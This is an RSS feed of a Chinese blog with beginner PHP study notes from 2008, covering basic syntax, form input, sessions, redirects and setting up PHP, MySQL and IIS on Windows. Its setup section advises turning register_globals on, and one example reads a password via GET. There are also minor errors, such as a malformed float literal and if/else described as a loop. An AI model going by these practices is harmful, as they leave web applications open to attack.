﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-Happy New Year (*^__^*)</title><link>http://www.blogjava.net/cyanbomb/</link><description /><language>zh-cn</language><lastBuildDate>Sun, 03 May 2026 06:28:00 GMT</lastBuildDate><pubDate>Sun, 03 May 2026 06:28:00 GMT</pubDate><ttl>60</ttl><item><title>PHP学习小记——杂记</title><link>http://www.blogjava.net/cyanbomb/archive/2008/01/17/175849.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Thu, 17 Jan 2008 02:14:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2008/01/17/175849.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/175849.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2008/01/17/175849.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/175849.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/175849.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">&nbsp;1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #008000">//</span><span style="color: #008000">&nbsp;转换特殊字符</span><span style="color: #008000"><br />
</span><span style="color: #008080">&nbsp;2</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #008080">htmlspecialchars</span><span style="color: #000000">(</span><span style="color: #800080">$_POST</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">name</span><span style="color: #000000">'</span><span style="color: #000000">]);&nbsp;</span><span style="color: #000000">?&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">&nbsp;3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">&nbsp;4</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;强制转换成int型</span><span style="color: #008000"><br />
</span><span style="color: #008080">&nbsp;5</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;(int)</span><span style="color: #800080">$_POST</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">age</span><span style="color: #000000">'</span><span style="color: #000000">];&nbsp;</span><span style="color: #000000">?&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">&nbsp;6</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">&nbsp;7</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;判断浏览器种类。strpos类似indexOf的功效。</span><span style="color: #008000"><br />
</span><span style="color: #008080">&nbsp;8</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(</span><span style="color: #008080">strpos</span><span style="color: #000000">(</span><span style="color: #800080">$_SERVER</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">HTTP_USER_AGENT</span><span style="color: #000000">'</span><span style="color: #000000">]</span><span style="color: #000000">,</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">'</span><span style="color: #000000">MSIE</span><span style="color: #000000">'</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">!==</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">FALSE</span><span style="color: #000000">)&nbsp;{&nbsp;</span><span style="color: #000000">?&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">&nbsp;9</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">p</span><span style="color: #000000">&gt;</span><span style="color: #000000">正在使用&nbsp;Internet&nbsp;Explorer</span><span style="color: #000000">&lt;/</span><span style="color: #000000">p</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">10</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;}&nbsp;</span><span style="color: #0000ff">else</span><span style="color: #000000">&nbsp;{&nbsp;</span><span style="color: #000000">?&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">11</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">b</span><span style="color: #000000">&gt;</span><span style="color: #000000">没有使用&nbsp;Internet&nbsp;Explorer</span><span style="color: #000000">&lt;/</span><span style="color: #000000">b</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">12</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;}&nbsp;</span><span style="color: #000000">?&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">13</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">14</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;接受页面数据</span><span style="color: #008000"><br />
</span><span style="color: #008080">15</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$username</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">$_POST</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">username</span><span style="color: #000000">'</span><span style="color: #000000">];&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">POST方法</span><span style="color: #008000"><br />
</span><span style="color: #008080">16</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$password</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">$_GET</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">password</span><span style="color: #000000">'</span><span style="color: #000000">];&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">GET方法<br />
</span><span style="color: #008080">17</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">18</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />//&nbsp;使用SESSION前一定要执行此句</span><span style="color: #008000"><br />
</span><span style="color: #008080">19</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008080">session_start</span><span style="color: #000000">();<br />
</span><span style="color: #008080">20</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">21</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000">给SESSION赋值</span><span style="color: #008000"><br />
</span><span style="color: #008080">22</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$_SESSION</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">username</span><span style="color: #000000">'</span><span style="color: #000000">]&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">$username</span><span style="color: #000000">;<br />
</span><span style="color: #008080">23</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">24</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000">跳转页面</span><span style="color: #008000"><br />
</span><span style="color: #008080">25</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008080">header</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">location:login.php</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
</span><span style="color: #008080">26</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">&lt;script&gt;window.location.href&nbsp;=&nbsp;'login.php';&lt;/script&gt;</span><span style="color: #000000">"</span><span style="color: #000000">;<br />
<br />
问题信息：您的服务器不支持MySql数据库,无法安装论坛程序<br />
1、对于php.ini文件<br />
进入 C:\PHP，将 php.ini-dist 复制一份放到 C:\WINNT（ Windows XP/2003 下为 C:\Windows ）内，改名为 php.ini，然后用记事本打开，利用记事本的查找功能搜索 extension_dir = "./"，并将其路径指到你的 PHP 目录下的 extensions 目录，比如：extension_dir = "C:\PHP\ext"；再搜索 register_globals = Off，将 Off 改成 On；<br />
查找 ;extension=php_mysql.dll，将前面的引号&#8220;；&#8221;去掉。<br />
2、手册中关于配置IIS的说明，将其中的&#8220;PHP\sapi\php4isapi.dll&#8221;改为php目录下的&#8220;php5isapi.dll&#8221;<br />
3、重要：复制php目录下的libmysql.dll文件到system32下。
<p>重新启动IIS（或是Apache也要重启一下）：<br />
在命令提示符下逐一执行一下命令：<br />
net stop w3svc<br />
net stop iisadmin<br />
net start w3svc</p>
</span></div>
<img src ="http://www.blogjava.net/cyanbomb/aggbug/175849.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2008-01-17 10:14 <a href="http://www.blogjava.net/cyanbomb/archive/2008/01/17/175849.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP学习小记——入门及数据库简单操作</title><link>http://www.blogjava.net/cyanbomb/archive/2008/01/16/175726.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Wed, 16 Jan 2008 08:57:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2008/01/16/175726.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/175726.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2008/01/16/175726.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/175726.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/175726.html</trackback:ping><description><![CDATA[<p>基本语法：<br />
1、引用文件： </p>
<p>引用文件的方法有两种：require 及 include。 <br />
<br />
require 的使用方法如 :</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php<br />
</span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">require</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">dbConnect.php</span><span style="color: #000000">"</span><span style="color: #000000">);&nbsp;<br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?&gt;</span></div>
<p>这个函数通常放在 PHP 程序的最前面，PHP 程序在执行前，就会先读入 require 所指定引入的文件，使它变成 PHP 程序网页的一部份。常用的函数，亦可以这个方法将它引入网页中。 </p>
<p>include 使用方法如: </p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php<br />
</span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">include</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">dbConnect.php</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?&gt;</span></div>
<p>这个函数一般是放在流程控制的处理部分中。PHP 程序网页在读到 include 的文件时，才将它读进来。这种方式，可以把程序执行时的流程简单化。 <br />
</p>
<p><br />
2、注释方法： </p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">&nbsp;1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;<br />
</span><span style="color: #008080">&nbsp;2</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">&nbsp;3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">注释方法一</span><span style="color: #000000">"</span><span style="color: #000000">;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;本例是C语法的注释&nbsp;</span><span style="color: #008000"><br />
</span><span style="color: #008080">&nbsp;4</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><br />
</span><span style="color: #008080">&nbsp;5</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">注释方法二</span><span style="color: #000000">"</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">&nbsp;6</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">/*</span><span style="color: #008000">&nbsp;本例采用多行的&nbsp;<br />
</span><span style="color: #008080">&nbsp;7</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />注释方式&nbsp;</span><span style="color: #008000">*/</span><span style="color: #000000">&nbsp;<br />
</span><span style="color: #008080">&nbsp;8</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">&nbsp;9</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">注释方法三</span><span style="color: #000000">"</span><span style="color: #000000">;&nbsp;</span><span style="color: #008000">#</span><span style="color: #008000">&nbsp;本例使用&nbsp;UNIX&nbsp;Shell&nbsp;语法注释&nbsp;</span><span style="color: #008000"><br />
</span><span style="color: #008080">10</span><span style="color: #008000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><br />
</span><span style="color: #008080">11</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?&gt;</span><span style="color: #000000">&nbsp;<br />
</span><span style="color: #008080">12</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span></div>
<p>&nbsp;</p>
<p>4、数组定义： <br />
</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php<br />
</span><span style="color: #000000"><br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080">$mystring</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">字符串</span><span style="color: #000000">"</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">4</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080">$myint</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">520</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">5</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080">$myfloat1</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">1.732</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">6</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080">$myfloat2</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">1</span><span style="color: #000000">.</span><span style="color: #000000">4E&nbsp;</span><span style="color: #000000">2</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">7</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080">$myArray</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">array</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">a</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">"</span><span style="color: #000000">b</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">"</span><span style="color: #000000">c</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">"</span><span style="color: #000000">d</span><span style="color: #000000">"</span><span style="color: #000000">);&nbsp;<br />
</span><span style="color: #008080">8</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">9</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?&gt;</span></div>
<p>&nbsp; <br />
</p>
<p>5、字符串运算： </p>
<p>英文的句号，它可以将字符串连接起来，变成合并的新字符串。类似ASP中的&amp;&nbsp;</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php<br />
</span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$a</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">Hello&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">4</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$b</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">World!</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">5</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">$a</span><span style="color: #000000">.</span><span style="color: #800080">$b</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">6</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><br />
</span><span style="color: #008080">7</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?&gt;</span><span style="color: #000000">&nbsp;</span></div>
<p>&nbsp;</p>
<p>6、逻辑运算： </p>
<p>符号&nbsp;&nbsp;&nbsp;&nbsp;意义 <br />
&nbsp; &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 小于 <br />
&nbsp; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;大于 <br />
&nbsp;&lt;=&nbsp;&nbsp; 小于或等于 <br />
&nbsp;&gt;=&nbsp;&nbsp; 大于或等于 <br />
&nbsp;==&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 等于 <br />
&nbsp;!=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不等于 <br />
&amp;&amp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 而且 (And) <br />
and&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 而且 (And) <br />
&nbsp; ||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 或者 (Or) <br />
&nbsp;or&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;或者 (Or) <br />
xor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;异或 (Xor) <br />
&nbsp; !&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不 (Not) <br />
<br />
7、if..else 循环</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;<br />
</span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(</span><span style="color: #800080">$a</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">$b</span><span style="color: #000000">)&nbsp;{&nbsp;<br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">a&nbsp;比&nbsp;b&nbsp;大</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">4</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;}&nbsp;</span><span style="color: #0000ff">elseif</span><span style="color: #000000">&nbsp;(</span><span style="color: #800080">$a</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">==</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">$b</span><span style="color: #000000">)&nbsp;{&nbsp;<br />
</span><span style="color: #008080">5</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">a&nbsp;等于&nbsp;b</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">6</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;}&nbsp;</span><span style="color: #0000ff">else</span><span style="color: #000000">&nbsp;{&nbsp;<br />
</span><span style="color: #008080">7</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">a&nbsp;比&nbsp;b&nbsp;小</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">8</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;}&nbsp;<br />
</span><span style="color: #008080">9</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?&gt;</span><span style="color: #000000">&nbsp;</span></div>
<p>&nbsp;</p>
<p>8、 for 循环</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;<br />
</span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;(</span><span style="color: #800080">$i</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">1</span><span style="color: #000000">;&nbsp;</span><span style="color: #800080">$i</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&lt;=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">10</span><span style="color: #000000">;&nbsp;</span><span style="color: #800080">$i++</span><span style="color: #000000">)&nbsp;{&nbsp;<br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">这是第</span><span style="color: #000000">"</span><span style="color: #000000">.</span><span style="color: #800080">$i</span><span style="color: #000000">.</span><span style="color: #000000">"</span><span style="color: #000000">次循环&lt;br&gt;</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
